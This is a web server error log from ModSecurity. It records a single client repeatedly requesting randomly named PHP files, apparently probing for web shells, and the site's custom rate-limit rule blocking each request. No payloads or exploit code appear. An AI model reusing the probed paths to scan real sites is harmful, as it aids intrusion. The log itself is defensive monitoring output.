[Thu Dec 25 15:28:45.543293 2025] [:error] [pid 31571:tid 31634] [client 4.241.194.62:11584] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/783de.php"] [unique_id "aUznre7e_lLK2X5wU8mBTgAAAIc"]
[Thu Dec 25 15:28:46.762488 2025] [:error] [pid 31571:tid 31633] [client 4.241.194.62:18201] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/783de.php"] [unique_id "aUznru7e_lLK2X5wU8mBUgAAAIY"]
[Thu Dec 25 15:28:50.159007 2025] [:error] [pid 31571:tid 31639] [client 4.241.194.62:18449] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/783de.php"] [unique_id "aUznsu7e_lLK2X5wU8mBVgAAAIw"]
[Thu Dec 25 15:28:50.853907 2025] [:error] [pid 31570:tid 31603] [client 4.241.194.62:11601] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/783de.php"] [unique_id "aUznsmPy2DpAzW_4a2gOmQAAAEM"]
[Thu Dec 25 15:28:51.691136 2025] [:error] [pid 31655:tid 31663] [client 4.241.194.62:2337] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "aUzns5ozPMk9HPtIJPNmiQAAAMY"]
[Thu Dec 25 15:28:54.545407 2025] [:error] [pid 31569:tid 31597] [client 4.241.194.62:11593] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "aUzntmiSFBH7Ee_uldWWWAAAABg"]
[Thu Dec 25 15:28:55.117800 2025] [:error] [pid 31570:tid 31614] [client 4.241.194.62:24485] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "aUznt2Py2DpAzW_4a2gOnQAAAE4"]
[Thu Dec 25 15:28:55.798605 2025] [:error] [pid 31655:tid 31661] [client 4.241.194.62:17415] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lm15.php"] [unique_id "aUznt5ozPMk9HPtIJPNmjQAAAMQ"]
[Thu Dec 25 15:28:57.373617 2025] [:error] [pid 2996:tid 3000] [client 4.241.194.62:23288] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gdn.php"] [unique_id "aUznuarrTp0EWNyhaIT8VwAAAQI"]
[Thu Dec 25 15:28:59.031150 2025] [:error] [pid 2996:tid 3001] [client 4.241.194.62:23249] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gdn.php"] [unique_id "aUznu6rrTp0EWNyhaIT8WAAAAQM"]
[Thu Dec 25 15:29:00.074689 2025] [:error] [pid 31569:tid 31587] [client 4.241.194.62:20962] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gdn.php"] [unique_id "aUznvGiSFBH7Ee_uldWWWwAAAA4"]
[Thu Dec 25 15:29:02.918966 2025] [:error] [pid 31570:tid 31624] [client 4.241.194.62:20186] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gdn.php"] [unique_id "aUznvmPy2DpAzW_4a2gOnwAAAFg"]
[Thu Dec 25 15:29:03.669486 2025] [:error] [pid 31569:tid 31582] [client 4.241.194.62:18458] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "aUznv2iSFBH7Ee_uldWWYAAAAAk"]
[Thu Dec 25 15:29:04.854251 2025] [:error] [pid 2996:tid 3004] [client 4.241.194.62:13806] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "aUznwKrrTp0EWNyhaIT8ZwAAAQY"]
[Thu Dec 25 15:29:08.004931 2025] [:error] [pid 31655:tid 31661] [client 4.241.194.62:13954] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "aUznxJozPMk9HPtIJPNmmgAAAMQ"]
[Thu Dec 25 15:29:11.532069 2025] [:error] [pid 31569:tid 31594] [client 4.241.194.62:17425] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file5.php"] [unique_id "aUznx2iSFBH7Ee_uldWWcQAAABU"]
[Thu Dec 25 15:29:14.675700 2025] [:error] [pid 2996:tid 3001] [client 4.241.194.62:22015] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3i8som87avh59dosfymtvCakc.php"] [unique_id "aUznyqrrTp0EWNyhaIT8jQAAAQM"]
[Thu Dec 25 15:29:17.538243 2025] [:error] [pid 31570:tid 31610] [client 4.241.194.62:21925] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3i8som87avh59dosfymtvCakc.php"] [unique_id "aUznzWPy2DpAzW_4a2gOvAAAAEo"]
[Thu Dec 25 15:29:19.980394 2025] [:error] [pid 31655:tid 31673] [client 4.241.194.62:13991] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3i8som87avh59dosfymtvCakc.php"] [unique_id "aUznz5ozPMk9HPtIJPNmswAAANA"]
[Thu Dec 25 15:29:21.625783 2025] [:error] [pid 31569:tid 31578] [client 4.241.194.62:21898] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3i8som87avh59dosfymtvCakc.php"] [unique_id "aUzn0WiSFBH7Ee_uldWWogAAAAU"]
[Thu Dec 25 15:29:22.729560 2025] [:error] [pid 31570:tid 31610] [client 4.241.194.62:21928] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "aUzn0mPy2DpAzW_4a2gOzQAAAEo"]
[Thu Dec 25 15:29:24.537707 2025] [:error] [pid 2996:tid 3020] [client 4.241.194.62:13758] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "aUzn1KrrTp0EWNyhaIT8ygAAARY"]
[Thu Dec 25 15:29:28.308310 2025] [:error] [pid 31655:tid 31673] [client 4.241.194.62:24472] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "aUzn2JozPMk9HPtIJPNmzAAAANA"]
[Thu Dec 25 15:30:17.485871 2025] [:error] [pid 31655:tid 31679] [client 4.241.194.62:20720] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pwyjwrfr.php"] [unique_id "aUzoCZozPMk9HPtIJPNnGwAAANY"]
[Thu Dec 25 15:30:19.823608 2025] [:error] [pid 31655:tid 31666] [client 4.241.194.62:19919] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pwyjwrfr.php"] [unique_id "aUzoC5ozPMk9HPtIJPNnIQAAAMk"]
[Thu Dec 25 15:30:21.197288 2025] [:error] [pid 31571:tid 31645] [client 4.241.194.62:2200] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pwyjwrfr.php"] [unique_id "aUzoDe7e_lLK2X5wU8mB2QAAAJI"]
[Thu Dec 25 15:30:22.352303 2025] [:error] [pid 31569:tid 31585] [client 4.241.194.62:20613] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pwyjwrfr.php"] [unique_id "aUzoDmiSFBH7Ee_uldWXbQAAAAw"]
[Thu Dec 25 15:30:23.627400 2025] [:error] [pid 31655:tid 31659] [client 4.241.194.62:2117] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pNRzcP6wtYy.php"] [unique_id "aUzoD5ozPMk9HPtIJPNnJgAAAMI"]
[Thu Dec 25 15:30:24.603039 2025] [:error] [pid 31570:tid 31604] [client 4.241.194.62:2821] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pNRzcP6wtYy.php"] [unique_id "aUzoEGPy2DpAzW_4a2gPUQAAAEQ"]
[Thu Dec 25 15:30:26.117765 2025] [:error] [pid 2996:tid 3007] [client 4.241.194.62:2533] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pNRzcP6wtYy.php"] [unique_id "aUzoEqrrTp0EWNyhaIT9hAAAAQk"]
[Thu Dec 25 15:30:26.855024 2025] [:error] [pid 31655:tid 31659] [client 4.241.194.62:2114] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pNRzcP6wtYy.php"] [unique_id "aUzoEpozPMk9HPtIJPNnUQAAAMI"]
[Thu Dec 25 15:30:28.556268 2025] [:error] [pid 2996:tid 3019] [client 4.241.194.62:2208] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ox8xhkkw.php"] [unique_id "aUzoFKrrTp0EWNyhaIT9kQAAARU"]
[Thu Dec 25 15:30:29.524590 2025] [:error] [pid 2996:tid 3015] [client 4.241.194.62:2541] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ox8xhkkw.php"] [unique_id "aUzoFarrTp0EWNyhaIT9mAAAARE"]
[Thu Dec 25 15:30:30.731761 2025] [:error] [pid 31571:tid 31638] [client 4.241.194.62:2850] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ox8xhkkw.php"] [unique_id "aUzoFu7e_lLK2X5wU8mB5AAAAIs"]
[Thu Dec 25 15:30:32.616144 2025] [:error] [pid 31655:tid 31669] [client 4.241.194.62:2855] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ox8xhkkw.php"] [unique_id "aUzoGJozPMk9HPtIJPNnVAAAAMw"]
[Thu Dec 25 15:30:34.234647 2025] [:error] [pid 31655:tid 31675] [client 4.241.194.62:2638] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oc460l3x.php"] [unique_id "aUzoGpozPMk9HPtIJPNnVQAAANI"]
[Thu Dec 25 15:30:38.091240 2025] [:error] [pid 2996:tid 3008] [client 4.241.194.62:2125] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oc460l3x.php"] [unique_id "aUzoHqrrTp0EWNyhaIT9pgAAAQo"]
[Thu Dec 25 15:30:39.540016 2025] [:error] [pid 31571:tid 31636] [client 4.241.194.62:2867] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oc460l3x.php"] [unique_id "aUzoH-7e_lLK2X5wU8mB8AAAAIk"]
[Thu Dec 25 15:30:40.410878 2025] [:error] [pid 31570:tid 31617] [client 4.241.194.62:20931] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oc460l3x.php"] [unique_id "aUzoIGPy2DpAzW_4a2gPYgAAAFE"]
[Thu Dec 25 15:30:41.817870 2025] [:error] [pid 31569:tid 31583] [client 4.241.194.62:2145] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aUzoIWiSFBH7Ee_uldWXvAAAAAo"]
[Thu Dec 25 15:30:43.104629 2025] [:error] [pid 2996:tid 2999] [client 4.241.194.62:2833] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aUzoI6rrTp0EWNyhaIT9sAAAAQE"]
[Thu Dec 25 15:30:46.839899 2025] [:error] [pid 2996:tid 3021] [client 4.241.194.62:16433] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aUzoJqrrTp0EWNyhaIT9vwAAARc"]
[Thu Dec 25 15:30:47.712270 2025] [:error] [pid 31655:tid 31658] [client 4.241.194.62:16409] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NWqz649FIe7.php"] [unique_id "aUzoJ5ozPMk9HPtIJPNnXQAAAME"]
[Thu Dec 25 15:30:49.981853 2025] [:error] [pid 31569:tid 31580] [client 4.241.194.62:20644] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nucqsqeg.php"] [unique_id "aUzoKWiSFBH7Ee_uldWXyAAAAAc"]
[Thu Dec 25 15:30:51.476610 2025] [:error] [pid 31571:tid 31649] [client 4.241.194.62:16422] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nucqsqeg.php"] [unique_id "aUzoK-7e_lLK2X5wU8mCBwAAAJY"]
[Thu Dec 25 15:30:53.226518 2025] [:error] [pid 31571:tid 31645] [client 4.241.194.62:16394] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nucqsqeg.php"] [unique_id "aUzoLe7e_lLK2X5wU8mCDQAAAJI"]
[Thu Dec 25 15:30:55.569379 2025] [:error] [pid 31655:tid 31664] [client 4.241.194.62:16385] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nucqsqeg.php"] [unique_id "aUzoL5ozPMk9HPtIJPNnZAAAAMc"]
[Thu Dec 25 15:30:57.096184 2025] [:error] [pid 2996:tid 3010] [client 4.241.194.62:13470] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mhpglaje.php"] [unique_id "aUzoMarrTp0EWNyhaIT95QAAAQw"]
[Thu Dec 25 15:30:58.017396 2025] [:error] [pid 31655:tid 31667] [client 4.241.194.62:16395] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mhpglaje.php"] [unique_id "aUzoMpozPMk9HPtIJPNnaQAAAMo"]
[Thu Dec 25 15:30:59.799593 2025] [:error] [pid 31655:tid 31672] [client 4.241.194.62:20612] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mhpglaje.php"] [unique_id "aUzoM5ozPMk9HPtIJPNnagAAAM8"]
[Thu Dec 25 15:31:01.602257 2025] [:error] [pid 31570:tid 31602] [client 4.241.194.62:13471] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mhpglaje.php"] [unique_id "aUzoNWPy2DpAzW_4a2gPfwAAAEI"]
[Thu Dec 25 15:31:03.109925 2025] [:error] [pid 31569:tid 31575] [client 4.241.194.62:20667] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aUzoN2iSFBH7Ee_uldWX1wAAAAI"]
[Thu Dec 25 15:31:03.670465 2025] [:error] [pid 31570:tid 31611] [client 4.241.194.62:2639] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aUzoN2Py2DpAzW_4a2gPgQAAAEs"]
[Thu Dec 25 15:31:05.246736 2025] [:error] [pid 2996:tid 3005] [client 4.241.194.62:16429] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aUzoOarrTp0EWNyhaIT97AAAAQc"]
[Thu Dec 25 15:31:06.553016 2025] [:error] [pid 31571:tid 31648] [client 4.241.194.62:13465] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/LvCBeZWaSgQ.php"] [unique_id "aUzoOu7e_lLK2X5wU8mCFgAAAJU"]
